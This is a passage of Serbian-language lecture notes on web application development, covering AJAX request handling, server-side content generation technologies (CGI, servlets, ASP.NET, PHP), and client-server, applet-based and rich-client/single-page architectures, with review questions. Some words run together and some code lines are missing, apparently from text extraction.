httpReq.send();

}

Malo uopstenije:

function asyncHttp(uri,onok){


httpReq.open("GET",uri,true);

httpReq.onreadystatechange = function(){

if( httpReq.readyState==4

&& httpReq.status==200

&& onok)

onok(httpReq);

};

httpReq.send();

}


asyncHttp("/js3_part.html",function(httpReq){


.innerHTML = httpReq.responseText;

});

}

Moze i ovako:

function asyncHttp(uri,onLoad){


httpReq.open("GET",uri,true);

httpReq.onload = function(){ onLoad(this); };

httpReq.send();

}


5.4 Pitanja

5.1 Sta je AJAX? Cemu sluzi?

5.2 Kako se prave AJAX objekti?

5.3 Objasniti metode za slanje AJAX zahteva.

5.4 Objasniti dodatne parametre AJAX zahteva.

5.5 Navesti i objasniti dogadaje AJAX zahteva.

5.6 Objasniti obradu odgovora AJAX zahteva.

5.7 Objasniti parametre i metode rezultata AJAX zahteva.

5.8 Objasniti razliku izmedu sinhronih i asinhronih zahteva. Kada se koji koristi?

5.9 Navesti primer sinhorne upotrebe AJAX zahteva.

5.10 Navesti primer asinhorne upotrebe AJAX zahteva.

Glava 6

Razvoj veb aplikacija

6.1 Problemi

Karakteristike problema razvoja veb aplikacije se prepoznaju iz razlicitih uglova(aplikacije, sesije, stranice i ucesnika u razvoju).

6.1.1 Karakteristike problema iz ugla aplikacije

Izbor izmedu vise arhitektura, vise nacina implementacije. Izbor arhitekture uticena znacaj mnogih karakteristika problema. Upotreba datoteka - trajni podacimogu da se cuvaju u datotekama, posebno ako se veb aplikacija implementirana jednom nivou. Komunikacija sa sistemima za upravljanje bazama podataka -najvazniji podaci su najcesce u nekom SUBP, problemi mogu biti citanje i menja-nje podataka. Komunikacija izmedu slojeva aplikacije - kod viseslojnih aplikacijamora da postoji komunikacija izmedu slojeva i komunikacija sa pomocnim servi-sima. Konkurentno okruzenje - da bi rad bio efikasan, neophodno je da vise zahtevamoze da se istovremeno konkurentno opsluzuje. Cesto se postavljaju upiti - stoje veb lokacija slozenija to je veci procenat sadrzaja koji se pripremaju na osnovusadrzaja baze podataka. Cesto se za pripremu jednog sardrzaja mora postaviti ponekoliko upita, posebno cesto na raznim uvodnim i preglednim stranicama, kao ina stranicama koje opisuju veze izmedu sadrzaja.

Relativno retko se izvode slozene transakcije - citanje podataka je mnogo cescenego njihovo menjanje. Najveci broj sadrzaja se priprema bez izvodenja bilo ka-kvih bocnih efekata, osim, mozda, radi vodenja evidencije poseta. Takode, velikibroj bocnih efekata je privremenog karaktera odnosi se samo na tekucu sesiju.Trajni i globalni bocni efekti se ostvaruju uglavnom u obliku transakcija nad po-dacima SUBP - promene podataka se uglavnom rade iz poslovnog sloja, a ne izsloja veba.

47

48 GLAVA 6. RAZVOJ VEB APLIKACIJA

Ujednacen graficki izgled stranica - obicno sve stranice jedne aplikacije imajuzajednicke osnovne elemente grafickog dizajna. Cesto se i na stranicama kojecine razlicite delove aplikacije pojavljuju neki zajednicki elementi. Razdvojenostposlovne logike i korisnickog interfejsa, od pocetka projektovanja do kraja imple-mentacije je pozeljno razvijati korisnicki interfejs od poslovne logike. Veci brojsavremenih alata za razvoj dinamickih veb lokacija to omogucava.

6.1.2 Karakteristike problema iz ugla sesije

Nosilac interaktivnosti je sesija. Veb aplikacija je interaktivan sistem, osnovniokvir za osnivanje interakcija izmedu posetioca i lokacija sesija.Sesija je nosilacrazmene informacija izmedu posetioca i lokacije i cuvanja informacija o posetiocui toku same sesije. Deo interaktivnosti se moze preneti na stranicu, posebno akose primeni arhitektura teskih klijenata. Interakcija u okviru sesije se sastoji odposeta i dijaloga.

Sesija se sastoji od parova (zahtev, odgovor). Takvi parovi ne grade vremenskuni prostornu sekvencu, neki delovi sesije se moraju odvijati u strogo definisanimsekvencama parova. Takvi segmenti sesije se nazivaju dialozi, a neuredeni seg-menti sesije su pojedinacne posete. Osnovni interaktivni element sesije je dijalog.Dijalog je osnovni element interakcije na nivou sesije, tok interakcije u okviru dija-loga je strogo definisan. Upravljanje dijalozima i sesijama - za ispravan tok sesijemoze biti neophodno prenosenje stanja izmedu uzastopnih poseta. Za ispravan tokdijaloga je potrebno upravljanja tokom poseta.

6.1.3 Karakteristike problema iz ugla stranice

Ne postoji interaktivnost pri pripremanju jednog sadrzaja. Pripremanje sadrzajaje kao crna kutija. Svi ulazni podaci su poznati pre zapocinjanja sadrzaja. Ni-jedan izlazni podatak se ne izdaje pre okoncavanja pripremanja sadrzaja. Imple-mentirana logika primene, nema spoljnih uticaja tokom pripreme. Pripremanjepojedinacnih sadrzaja je najcesce jednostavno. Najveci broj postpupaka za pri-premanje sadrzaja je sasvim jednostavan. Sam sadrzaj moze biti veoma slozen, alito se uglavnom ne odrazava znacajno na postupak njegovog pripremanja. Pripre-manje pociva na vecem broju deljenih zajednickih elemenata, vise manjih celina,jednostavnih za pripremanje i povezivanje delova u celinu. Stranica moze biti no-silac dela interaktivnosti, u slucaju arhitekture teskih klijenata, stranica moze dabude zaokruzena celina, koja u potpunosti obuhvata interakciju sa korisnikom zaobavljanje odredenog posla.

6.1.4 Karakteristike problema iz ugla ucesnika u razvoju

Razdvojenost programskih i grafickih segmenata definisanja stranica. Najvecibroj razvijalaca su HTML programeri koji znaju HTML, CSS, elemente grafickog

6.2. NIVOI SLOZENOSTI VEB SADRZAJA 49

dizajna i imaju negormalno i povrsno savladane osnove programiranja. Programeriznaju programiranje, baze podataka, neformalno i povrsno HTML, CSS i osnovedizajna. Hronican nedostatak strucnih kadrova koji znaju obe oblasti. Pozeljnoje razdvajanje poslova dizajna i programiranja. Izdvojenost delova programa kojise odnose na bazu podataka. Pozeljno je izdvojiti delove programa koji su nepo-sredno zavisni od konkretnog SUBP ili konkretne baze podataka. Lokalizovanjezavisnosti od specificnog SUBP - jednostavnija podela posla izmedu programerai strucnjaka za baze podataka. Potreba za jednostavnijim razvojem programskihsegmenata stranica. Da bi HTML programeri mogli da urade sto vise posla, po-trebno je da im se olaksa pisanje elementarnih programskih celina. Rezervisanostu odnosu na prelazak na nove alate, teznja da se sto rede koriste novi alati, ucenjekosta, a i mnogi en vole ucenje. Iskoristiti sto bolje vec stecena znanja, kako kodpojedinacnih programera tako i u organizacijama kao celinama.

6.2 Nivoi slozenosti veb sadrzaja

Nivo slozenosti veb sadrzaja

1. Stranica - jedan dokument sa pripadajucim sadrzajima (razliciti vizuelni,audio i video sadrzaji koji upotpunjuju prezentaciju dokumenta)

2. Skup stranica - kolekcija stranica izmedu kojih postoje medusobne veze, alito nije presudno

3. Veb lokacija - skup medusobno povezanih stranica, tematski ili drugacijeorganizovanih koje imaju uniforman dizajn i upotrebu. Obicno ima prepo-znatljivu namenu ili cilj.

4. Veb aplikacija - sadrzaj se dinamicki proizvodi ili prezetuje u vreme posecivanjai u interakciji sa korisnikom. Korisnik ne zahteva samo resurse nego i ne-kakvu vrstu obrade podataka (pretrazivanje, izracunavanje, itd). Takode,korisnik ostavlja trajan trag u sistemu (uredivanje sadrzaja, kupovina, itd).

6.3 Od zahteva do prikaza

Korisnik klijentskog racunara zeli da vidi prezentaciju izabranog resursa. Re-surs je dostupan na nekom serveru. Koraci:

1. Korisnik salje zahtev odgovarajucem serveru.

2. Server prima zahtev, obraduje ga i isporucuje paket klijentu.

3. Klijent priprema paket za prikazivanje i prokazuje prezentaciju resursa.

Sta server isporucuje? Kako klijent prima prezentaciju resursa?


6.4 Nivoi konteksta veb aplikacije

Pod kontekstom se podrazumeva okruzenje u kome postoji odredeno stanje tj.odredeni podaci. Pri razvoju i radu veb aplikacije, postoje 4 nivoa konteksta. Uokviru implementiranja svakog od nivoa konteksta potrebno je da postoji odredenodeljenje podataka.

1. Zahtev - pojedinacni zahtev i dobijen sadrzaj

2. Poseta - skup sadrzaja koji cini jendu kompletnu stranicu (HTML, CSS;slike, skriptovi, itd)

3. Sesija - jedna celovita upotreba aplikacije. Obuhvata vise poseta i sve do-datne skrivene zahteve (npr. AJAX zahtevi)

4. Aplikacija/Servis - obuhvata sve upotrebe aplikacije tokom perioda funkcio-nisanja.

6.4.1 Deljenje podataka

Deljenje podataka je potrebno na svakom od nivoa konteksta. Na nivou zahtevadeljenje je interno jer je obrada zahteva jedna celina. Na nivou posete podaci sedele pri pravljenju sadrzaja koji cine jednu stranicu. Nema sistemskog nacina dase ustanovi da zahtevi pripadaju istoj poseti, obicno se implementira kroz upitnideo URI-ja.

Na nivou sesije dele se podaci pri obradi svih zahteva jedne sesije i privremenikolacici. Podaci imaju privremeno trajanje. Zato postoje strategije koje se koristeda se prevazide taj problem. Prva podrazumeva koriscenje kolacica - svi potrebnipodaci se cuvaju u kolacicima. Medutim, to moze proizvesti veliki broj kolacica.Takode, kolacici usporavaju komunikaciju jer se svi salju sa svakim zahtevom.Konacno, kao sto smo ranije to rekli, kolacici predstavljaju veliki bezbednosniproblem. Druga strategija su aplikativne sesije. Koristi se samo jedan kolacic zaidentifikovanje sesije, svi ostali elementi stanja se cuvaju na serveeru. Termin se-sija se cesto upotrebljava za oznacavanje skupa podataka koji se cuvaju na serverui cine stanje jedne sesije.

Na nivou aplikacije podaci se dele su podaci koji se dele pri obradi svih zahteva apli-kacije, konfiguracija aplikacije, globalni deljeni podaci na nivou aplikacije, trajnikolacici i nalozi. Podaci se prenose izmedu vise sesija. Dve strategije - samokolacici i korisnicki nalozi. Samo kolacici ili jedan traji identifikacioni kolacicnije pouzdana identifikacija korisnika. Kolacici identifikuju korisnika klijentskogracunara. Koristi se samo za podatke koji nisu osetljivi, kao sto je podesavanje ko-risnickog interfejsa i sl. Koncept sa jednim kolacicem zahteva cuvanje potencijalnovelike kolicine nebitnih podataka na serveru.Korisnicki nalozi podrazumevaju da

6.5. TEHNOLOGIJE RAZVOJA SERVERSKE STRANE VEB APLIKACIJA51

korisnik mora da se autentifikuje, obicno navodenjem kotisnickog imena (ili elek-tronske adrese) i lozinke. Svi podaci se cuvaju na serveru, kao skup podataka okorisniku.

6.5 Tehnologije razvoja serverske strane veb apli-

kacija

6.5.1 Programi za pravljenje dinamickog sadrzaja

Da bi se neki sadrzaj dinamicki napravio (izmeni, prilagodio, itd) potrebno jeda se primeni neka logika. Ta logika se negde mora isporgramirati. Odgovarajuciprogram se mora izvrsiti. Veb server mora da pokrene program, prosledi mu pa-rametre, saceka da zavrsi izvrsavanje i preuzme rezultat izvrsavanja.

Program koji pravi sadrzaje mora da koristi vise vrsta podataka. Tu spadajupodaci iz zahteva (URI, domen, relativna putanja, produzena putanja, upit, telozahteva, paramteri formulara, datoteke koje klijent podize), podaci sesije - podacikoji cine stanje sesije, obicno u obliku netipiziranog kataloga vrednosti (moze bitii tipizirana struktura); podaci aplikacije/servisa - podaci koji cine konfiguracijuaplikacije, obicno se samo citaju; i globalni podaci i usluge - sistem datoteka, bazepodataka i drgi servisi. Da bi program pristupio podacima veb server ih morauciniti dostupnim programu. To se ne radi na isti nacin za sve vrste podatakani za sve verzije veb servera. Postoje mnoge tehnologije koje omogucavaju vebserveru da pokrene program i omoguci mu pristup ovim podacima.

Veb server moze da obezbedi pravljenje sadrzaja pokretanjem programa (kaozasebnog procesa ili kao dela procesa servera) ili pomocu zasebnih mehanizama(ugradenih u sam veb server ili povezanih sa serverom u visu prikljucaka, plug-in).

6.5.1.1 Pokretanje zasebnih procesa

Veb server pravi poseban proces i u njemu pokrece program za pripremusadrzaja , prenosi mu parametre, a po zavrsetku rada preuzima rezultat.

Common Gateway Interface - CGICGI je prva tehnologija za pokretanje programa prilagodena uobicajenom raduu UNIX svetu. Program se pokrece kao najobicniji proces na nivou OS-a. Vebserver prosleduje parametre kao argumente komandne linije, parametre okruzenja(setenv, getenv), ulazni tok. Program izdaje pripremljen sadrzaj na standardnomizlazu.


Karakteristike

• univerzalan - prakticno svaki OS i svaki programski jezik. Pisu se na bilokom programskom jezikuna kome se mogu pisati programi ili skriptovi zaodgovarajucu serversku platformu (C/C++, Python, Perl, Tcl, itd)

• bezbedan - svaki pokrenut program je zaseban proces u meri u kojoj jepostavljanje programa na server bezbedno (!!!)

• relativno je neefikasan - pokretanje procesa je skupo vremenski i memorijski.Svaka instanca programa je novi proces, deljenje podataka mora da koristidruge sisteme (datoteke, baze podataka,itd). Cak i primena efikasnih pro-gramskih jezika ne resava problem jer se obicno radi o algoritamski i racunskijednostavnim problemima. Ispada da je vaznija cena pokretanja nego cenaizvrsavanja.

Bitno je naglasiti da se danas ova tehnologija uglavnom ne upotrebljava.

FastCGIFastCGI predstavlja unapredenje tehnologije CGI. Osnovna ideja je da se ustedina pokretanju procesa. Nakon sto se jedanput pokrene proces zavrsi jedan proces,zatim se uspava”, ali se ne gasi. SLedeci put se ne pokrece novi proces vec se samoaktivira postojeci. Osnovni problem sa ovim pristupom je upotreba specificnihAPI-ja i umanjena prenosivost (izmedu servera).

6.5.1.2 Pokretanje programa u serveru

Veb server predstavlja okruzenje za izvrsavanje programa, nesto kao virtuelnamasina - pri pokretanju se ne prave posebni procesi, nema eksplicitnog prenosenjaparametara (dobijaju se od okruzenja). Okruzenje je veb server, interakcija se vrsipomocu API-ja. Program izdaje rezultat na standardnom izlazu, a po zavrsetkurada server preuzima rezultat. Iz ugla razvoja, nema znacajnih razlika u odnosuna CGI.

Java servletiVeb serveru se dodaje JVM, i za svaku aplikaciju se pravi posebna VM. Podaci nanivou aplikacije se dele kao da su globalni u VM, a podaci na nivou sesije se delepreko posebnih biblioteka. Dodatnim klasama se obezbeduje pristup posebnomsvetu.

Pokretanje programa ne zahteva ucestalo pokretanje procesa. Iako je Java je-ste sporija od C-a, veca je usteda nego gubitak jer su programi cesto relativnojednastovni. Ovo je i danas veoma zastupljena tehnologija.

ASP.NETASP.NET je onceptualno skoro isti kao Java servleti - razlika je u VM. ASP.NETkoristi CLR (Common Language Runtime) koji podrzava vise programskih jezika(kao sto su C#, VisualBasic, F#, itd). Ovo je primarna tehnologija za razvoj vebaplikacija za MS Windows.

6.5.1.3 Upotreba ugradenih mehanizama

Neki oblici pripreme sadrzaja zahtevaju relativno jednostavnu logiku i mogu seimplementirati bez posebnih programa. Odgovarajuci mehanizmi se mogu ugraditiu veb server.

Primer: SSI Server Side Include. U dokumentu se navode posebne direk-tive (tagovi). Pre isporucivanja sadrzaja, server analizira dokument i obradujedirektive na odgovarajuci nacin. Obicno su to jednostavne direktive za umetanjedrugog dokumenta ili dela dokumenta, ali mogu biti i nesto slozenije.



umetanje vrednosti promenljive





umetanje sadr\v zaja datoteke



pokretanje programa i umetanje dobijenog rezultata

6.5.1.4 Upotreba prikljucaka

Ako se u veb server ugradi mogucnost dodavanja prikljucaka, onda novi pri-kljucci mogu implementirati dodatne mehanizme za pripremanje sadrzaja. Slicnokao u slucaju ugradenih mehanizama, ali je mnogo veci nivo fleksibilnosti. Stavise,prikljucci mogu da dodaju i podrsku za nove nacine pokretanja programa. Sa-vremeni veb serveri imaju veoma mocne i fleksibilne mogucnosti dodavanja pri-kljucaka.

6.5.2 Pristupi pripremanju sadrzaja

Razlikuju se cetiri osnovna pristupa problemu pripremanja dinamickih sadrzaja

• programski pritup

• sablonski pritup

• hibridni pritup

• sesijski pritup


6.5.2.1 Programski pristup

Za pripremanje svakog dinamickog sadrzaja se pise odgovarajuci program kojije najopstiji, najfleksibilniji, najmocniji, najmanje produktivan za jednostavnesadrzaje. Primeri su CGI, Java servleti, Perl, Python, itd.

print "Content-type:text/html\r\n\r\n";

print ’<html>’;

print ’<head>’;

print ’<title>Hello Word - First CGI Program</title>’;

print ’</head>’;

print ’<body>’;

print ’<h2>Hello Word! This is my first CGI program</h2>’;

print ’</body>’;

print ’</html>’;

6.5.2.2 Sablonski pristup

Dinamicke stranice se opisuju pomocu sablona. Sabloni sadrze konstantnedelove, koji se ne menjaju, i parametrizovane delove, koji se dinamicki menjaju.Obicno su nadgradnja HTML-a - dodaju se tzv. serverski tagovi. Obicno je velikibroj jednostavnih tagova, potencijalno i relativno slozeni makroi. Primeri su SSI,Cold Fusion.

...

<cfoutput>

#myFirstVar# <br/>

#mySecVar# <br/>

#myNumber# <br/>

</cfoutput>

<cfoutput>#myNumber + anotherNumber#</cfoutput>

...

<cfquery name="updateTitlePrice" datasource="pubs">

UPDATE titles

SET price = 23.99

WHERE (title_id = ’BU1032’)

</cfquery>

...

Ovakav pristup je veoma jednostavan i produktivan za jednostavne sadrzaje, alije tesko prilagodljivo i obicno veoma komplikovano za iole slozenije sadrzaje. Ovoje nedovoljno izrazajno resenje - ne moze se svaka logika pripremanja sadrzajaopisati na ovaj nacin. Takode, ograniceno je na stranice (tj. obicno sve tekstualnesadrzaje), ssto nije pogodno za binarne sadrzaje.


6.5.2.3 Hibridni pristup

Mesavina programskog i sablonskog pristupa. Dodaje se mal broj serverskih ta-gova, i to:

• tag izraza - telo taga je izraz zapisan na programskom jeziku, ciji rezultat cezameniti tag

• programski tag - telo taga je segment programa koji radi neki posao, tag sezamenjuje onim sto segment porgrama ispise na standardnom izlazu.

Primeri su JSP, ASP.NET, PHP, itd.

...

<?php

$displayCount = 10;

if( $_REQUEST["show"] == "all" ){

$displayCount = $novostiCount;

}

$category = $_REQUEST["cat"];

if($category != null ){

$originalCategory = $category;

$category = "[" . $category . "]";

}

for( $i=0; $i<$novostiCount; $i++ )

...

?>

<p id="news-<?php echo $i?>" class="news_date">

<?php echo newsDate($news[$i]) ?>

</p>

<p class="news"><?php

echo newsBody($news[$i])

?></p>

<?php

...

?>

...

Ovo je veoma jednostavno i produktivno za jednostavne sadrzaje, fleksibilno iveoma izrazajno. Dobro je resenje i za veoma slozene sadrzaje. Prakticno svakalogika pripremanja sadrzaja se moze opisati na ovaj nacin. Najpogodnije je zastranice (tj. za sve tekstualne sadrzaje), dok za binarne nije sasvim pogodno(prevazilazi se tako sto se ceo dokument napravi kao jedan tag).


6.5.2.4 Serijski pristup

Ideja je da se programski rukovodi tokom sesije (dijaloga), za razliku od uobicajenogkorisnickog vodenja. Obicno se deli na sablonsko opisivanje interfejsa i programskoopisivanje toka dijaloga. Primeri su Mawl, <bigwig>, Guide.

Ovakvo resenje ima znacajne kvalitete u domenu upravljanja tokom dijaloga, alinije dovoljno fleksibilno i jednostavno za ostale slucajeve.

6.5.2.5 Odnos alata i pristupa

razvojnih alata je prilagodena jednom od pristupa. Danas je najzastupljeniji hi-bridni pristup. Retki su alati koji kombinuju sve pristupe.

6.6 Pitanja

6.1 Iz kojih uloga sagledavamo karakteristike problema razvoja Veb aplikacije?Navesti po jednu karakteristiku iz svakog od uglova.

6.2 Navesti i objasniti karakteristike problema razvoja aplikacija iz ugla aplikacije.

6.3 Navesti i objasniti karakteristike problema razvoja aplikacija iz ugla sesije.

6.4 Navesti i objasniti karakteristike problema razvoja aplikacija iz ugla stranice.

6.5 Navesti i objasniti karakteristike problema razvoja aplikacija iz ugla ucesnikau razvoju.

6.6 Navesti i objasniti nivoe konteksta Veb aplikacije.

6.7 Objasniti deljenje podataka u odnosu na nivoe konteksta Veb aplikacije.

6.8 Objasniti detaljno deljenje podataka na nivou sesije.

6.9 Objasniti detaljno deljenje podataka na nivou aplikacije.

6.10 Koji podaci mogu da se koriste pri pravljenju dinamickih sadrzaja?

6.11 Kako se obezbeduje pravljenje dinamickih sadrzaja na Veb serveru? Objasniti.

6.12 Na koje nacine se pokrecu programi za pripremu sadrzaja na Veb serveru?

6.13 Sta je CGI? Objasniti.

6.14 Sta je FastCGI? Objasniti.

6.15 Sta su Java servleti? Objasniti.

6.16 Sta je ASP.NET? Objasniti.

6.6. PITANJA 57

6.17 Kako se prave dinamicki sadrzaji na Veb serveru pomocu ugradenih mehani-zama?

6.18 Navesti i ukratko objasniti razlicite pristupe pripremanju dinamickih sadrzaja.

6.19 Objasniti programski pristup pripremanju dinamickih sadrzaja. Karakteri-stike?

6.20 Objasniti sablonski pristup pripremanju dinamickih sadrzaja. Karakteristike?

6.21 Objasniti sesijski pristup pripremanju dinamickih sadrzaja. Karakteristike?

Glava 7

Arhitektura veb aplikacija

Prema mestu pripreme prezentacije resursa/podataka i sadrzaju koji se saljeklijentu, razlikuju se tri arhitekture veb aplikacija:

1. Arhitektura klijent-server”: server na osnovu podataka i metapodataka pri-prema prezentaciju i salje je klijentu. (sve se nalazi na serveru)

2. Arhitektura prenosenja objekata”: server salje klijentu podatke, metapo-datke i programe za pripremu i predstavljanje prezentacije. (sve se nalazi naklijentu)

3. Arhitektura bogatih/teskih klijenata”: server salje klijentu podatke i meta-podatke i prepusta mu da samostalno pripremi prezentacija. (veci deo senalazi na klijentu)

7.1 Arhitektura klijent-server

Kod klijent-server arhitekture, server na osnovu podataka i metapodataka pri-prema i salje klijentu prezentaciju. Primer: pravljenje stranica na strani servera:PHP, ASP.NET (nema apleta ni mnogo skriptova na strani klijenta)

KarakteristikeVisoko opterecenje servera, jer je posao pripreme prezentacije na serveru. Prakticnosvaka aktivnost korisnika zavrsava na serveru. Nisko opterecenje klijenta, sto jeidealno za tanke klijente. Prakticno bez velike obrade podataka. Ovo je bilaprakticno jedina koriscena arhitektura u prvim godinama veba, veoma cesta i da-nas.

7.1.1 Elementi arhitekture klijent-server

Veb pregledac: prikazuje korisniku dobijene sadrzaje, prevodi aktivnosti kori-snika u zahteve za nove sadrzaje. Izvrsava manje zahtevne skriptove radi

59

60 GLAVA 7. ARHITEKTURA VEB APLIKACIJA

podizanja nivoa interaktivnosti. Provera ispravnosti ulaznih podataka, pri-kazivanje izabranih elemenata stranice, itd.

Stranica: relativno pasivan element, posrednik u komunikaciji izmedu korisnikai pregledaca

Veb server: sam isporucuje staticke sadrzaje, koristi usluge drugih programa zapravljenje dinamickih sadraja. Veb server ima ulogu posrednika izmedu kli-jenta i generatora sadrzaja

Generatori sadrzaja: to su razliciti programi na strani servera. Oni prave di-namicke sadrzaje, najcesce stranice. Od veb servera dobijaju zadatke (za-hteve) i isporucuju mu rezultate (odgovore). Implementiraju poslovnu logikuaplikacije (sami ili kroz biblioteke)

Slika 7.1: Arhitektura klijent-server

7.1.2 Vrste arhitekture klijent-server

HTML: osnovna vrsta klijent-server veb aplikacije. Server isporucuje HTML.

XSLT: naprednija varijanta klijent-server veb aplikacije. Isporucuje dokumenteu formatu XML, veb pregledac primenjuje XSL transformacije na XML kakobi dobio HTML ili neki drugi format. Npr. WML za bezicne ili VoiceXMLza glasovne uredaje. Dobro je sto na serveru mozemo da napravimo isporukujednog XML za vise uredaja i onda svaki uredaj moze da transformise tajsadrzaj u odgovarajuci prikaz (za mobilne telefone, racunare, itd).

7.2. ARHITEKTURA PRENOSENJA OBJEKATA 61

7.1.3 Karakteristike arhitekture klijent-server

Postoje slicnosti veb aplikacije sa arhitekturom klijent-server i obicne klijent-server aplikacije. Serverska strana je konceptualno ista - server isporucuje odgo-varajuce podatke ili dokumente na zahtev klijenta. Formati podataka se mogurazlikovati, ali je sustina neizmenjena.

Razlike izmedu veb aplikacije sa arhitekturom klijent-server i obicne klijent-serveraplikacije ogledaju se u tome sto serverska strana isporucuje i podatke i interfejs,veb aplikacije imaju ujednacen protokol, koristi se samo HTTP. Veb aplikacijeimaju ujednacen U/I podsistem. Koristi se veb pregledac za implementaciju kori-snickog interfejsa. Izuzetno visok nivo prenosivosti klijenata. Podrska za (manjekompatibilne) bogatije interfejse (apleti i skriptovi). Korisnicki interfejs je po-deljen na vise stranica, pojedinacna stranica veb aplikacije predstavlja samo deointerfejsa za obavljanje nekog posla.

7.1.4 Slojevi aplikacije

Arhitektura klijent-server veb aplikacije se lako prilagodava potrebama doda-vanjem novih i menjanjem postojecih slojeva. Veb pregledaci predstavljaju osnovuspoljasnjeg korisnickog sloja. Najvisi korisnicki sloj cine HTML, JavaScript, apleti.Veb serveri predstavljaju unutrasnji korisnicki sloj. Oni proizvode i isporucujukomponente korisnickog interfejsa, reaguju na aktivnosti korisnika. Sloj podatakaobicno pociva na SUBP (sistemu za upravljanjem bazama podataka). Sloj po-slovne logike moze da bude integrisan u sloj podataka, unutrasnji korisnicki slojili implementiran kao poseban sloj (ili vise slojeva).

Veb aplikacije sa arhitekturom klijent-server predstavljaju najopstiji slucaj”. Vecinaprincipa koji se moraju postovati pri izradi ovakve veb aplikacije vaze i u ostalimslucajevima. Obrnuto ne vazi.

7.2 Arhitektura prenosenja objekata

Kod arhitekture prenosenja objekata, server salje klijentu podatke, metapo-datke i programe za pripremu i predstavljanje prezentacije. Klasican primer suJava apleti, Adobe Flash.Karakteristike su smanjeno opterecenje servera, jer je server osloboden od po-slova pripreme prezentacije, ali je potencijalno povecan prenos zbog prenosenjaprograma, dodatnog prenosenja podataka (na zahtev programa). Serveri su viseoptereceni jer se programi za pripremu prezentacije nalaze na strani klijenta. Ova-kva arhitektura je cesto koriscena za implementaciju igara, visoko interaktivnihaplikacija i sl.


7.2.1 Elementi arhitekture prenosenja objekata

Veb pregledac predstavlja okruzenje u okviru koga se pokrecu apleti dobijeni odservera.

Stranica je pasivan element.

Apleti su glavni elementi aplikacije, implementiraju poslovnu logiku. Pregledacim sluzi kao posrednik u komunikaciji sa veb serverom. U komunikaciji sapregledacem zaobilaze (preskacu) stranicu.

Veb server sam isporucuje staticke sadrzaje i aplete, koristi usluge drugih pro-grama za pristupanje podacima. Veb server ima ulogu posrednika izmeduapleta i agenata za podatke

Agenti za podatke su programi koji prave dinamicke sadrzaje na osnovu ras-polozivih podataka. Takode izvode odgovarajuce transakcije na raspolozivimpodacima, slicno generatorima sadrzaja, ali ograniceno na podatke.

Slika 7.2: Arhitektura prenosenja objekata

7.3. ARHITEKTURA BOGATIH/TESKIH KLIJENATA 63

7.2.2 Odnos sa arhitekturom klijent-server

Slicnosti sa klijent-server aplikacijom su apleti koji su tipicna implementacijaklijentske strane. Serverska strana je konceptualno ista. Razlike u odnosu naklijent-server aplikacije su sto serverska strana najcesce samo isporucuje okvir in-terfejsa za pokretanje apleta, isporucuje podatke i izvrsava transakcije na trajnimpodacima. Interfejs i poslovna logika su obicno u apletima. Pregledac je samomasina za pokretanje apleta i koristi se za komunikaciju sa serverom.

7.3 Arhitektura bogatih/teskih klijenata

Server salje klijentu podatke i metapodatke i prepusta mu da samostalno pri-premi prezentaciju. Server obicno salje i programe, ali nezavisno od konkretnihpodataka. Primer: veb lokacije koje intenzivno koriste JavaScript, plug-in pre-gledaca, npr. PDF.

Znacajno smanjeno opterecenje servera - server je osloboden od poslova pripremeprezentacije. Medutim, veliko je opterecenje klijenata, programi za pripremu pre-zentacije se izvrsavaju na strani klijenta najcesce u obliku izvrsavanja skriptovau pregledacu klijent mora da poznaje” sve ocekivane tipove i formate podataka.Veoma je zastupljena u savremenim sistemima, cesto se naziva Veb 2.0”

7.3.1 Elementi arhitekture bogatih/teskih klijenata

Veb pregledac prikazuje korisniku dobijene sadrzaje, izvrsava zahtevne skrip-tove, implementira korisnicku logiku aplikacije, cesto implementira i poslovnulogiku aplikacije

Stranica je ovde aktivan element, zbog ugradenih skriptova moze da obavlja ko-munikaciju sa serverom i bez zamene cele stranice

Veb server sam isporucuje staticke sadrzaje i skriptove, koristi usluge drugihprograma za pristupanje podacima. Veb server ima ulogu posrednika izmeduskriptova i agenata za podatke

Agenti za podatke su programi koji prave dinamicke sadrzaje na osnovu ras-polozivih podataka, izvode odgovarajuce transakcije na raspolozivim poda-cima. Slicno generatorima sadrzaja, ali ograniceno na podatke

7.3.2 Odnos sa arhitekturom klijent-server

Ono sto je slicnosti sa klijent-server aplikacijom je to sto pojedinacne stranice sublize tipicnoj implementaciji klijentske strane. Takode, serverska strana je koncep-tualno ista.


Medutim klijentska strana se znacajno razlikuje. Svaka stranica je kompletanzaokruzen interfejs za obavljanje nekog posla. Nije tako uocljiva podela na spo-ljasnji i unutrasnji sloj korisnickog interfejsa. Cak se i transakcije izvode na straniklijenta, samo transakcije na trajnim podacima su na strani servera. Najveci deoimplementacije korisnickog interfejsa je na strani klijenta.

Kod klijent-server veb aplikacija, stranica je samo deo interfejsa. Veci deo in-terakcija sa korisnikom zavrsava se na strani klijenta. Serverska strana najcescesamo isporucuje stranice, tj. interfejs. Isporucuje podatke i izvrsava transakcijena trajnim podacima. Interfejs i poslovna logika su uklopljeni u stranicu i prateceskriptove.

Slika 7.3: Arhitektura bogatih/teskih klijenata

7.3.3 Odnos sa arhitekturom prenosenja objekata

Slicnosti: konceptualna izdvojenost korisnickog interfejsa

Razlike: korisnicki interfejs se implementira u okviru pregledaca, a ne u poseb-nim aplikativnim celinama. Koriste se standardizovane i visoko prenosive tehnike

7.4. ARHITEKTURA JEDNE STRANICE 65

(HTML, CSS,. . . ). Poslovna logika ostaje u vecoj meri na serveru.

7.4 Arhitektura jedne stranice

Arhitektura jedne stranice (engl. SPA Single Page Architecture) je ekstremnioblik arhitekture teskih klijenata. Citava aplikacija je jedna stranica. Sve seodvija kroz intenzivnu upotrebu JavaScript-a. Programski kod na jednoj stranicikomunicira sa serverom radi preuzimanja podataka i izvodenja transakcija i azuriraprezentaciju.Nesto blazi oblik: segment aplikacije na jednoj stranici.

Slika 7.4: Arhitektura jedne stranice


Klijent-server Prenosenje objekata Teski klijenti(arh. jedne str.)

Opterecenjeklijenata

Nisko doumereno (XSLT)

Visoko, zavisi odaplikacije

Visoko

Opterecenjeservera

Visoko Relativno nisko Srednje, zavisi odmesta pos. logike

Razdvojenost k.int.od pos. logike

Opciona Veca Veca

Implementacijakor. interfejsa

Podeljena Na strani klijenta Na strani klijenta

Prenosivostklijentske strane

Izuzetno visoka Nesto niza, zavisiod vrste apleta

Veoma visoka

Implementacijaposlovne logike

Na serveru Podeljena Uglavnom na serveru

Upotreba servisaSamo na

strani serveraNa obe strane Na obe strane

Tabela 7.1: Trajni podaci na strani klijenta

7.5 Pitanja

7.1 Koje arhitekture Veb aplikacija razlikujemo prema mestu pripreme prezenta-cije i sadrzaja koji se prenosi? Osnovne razlike?

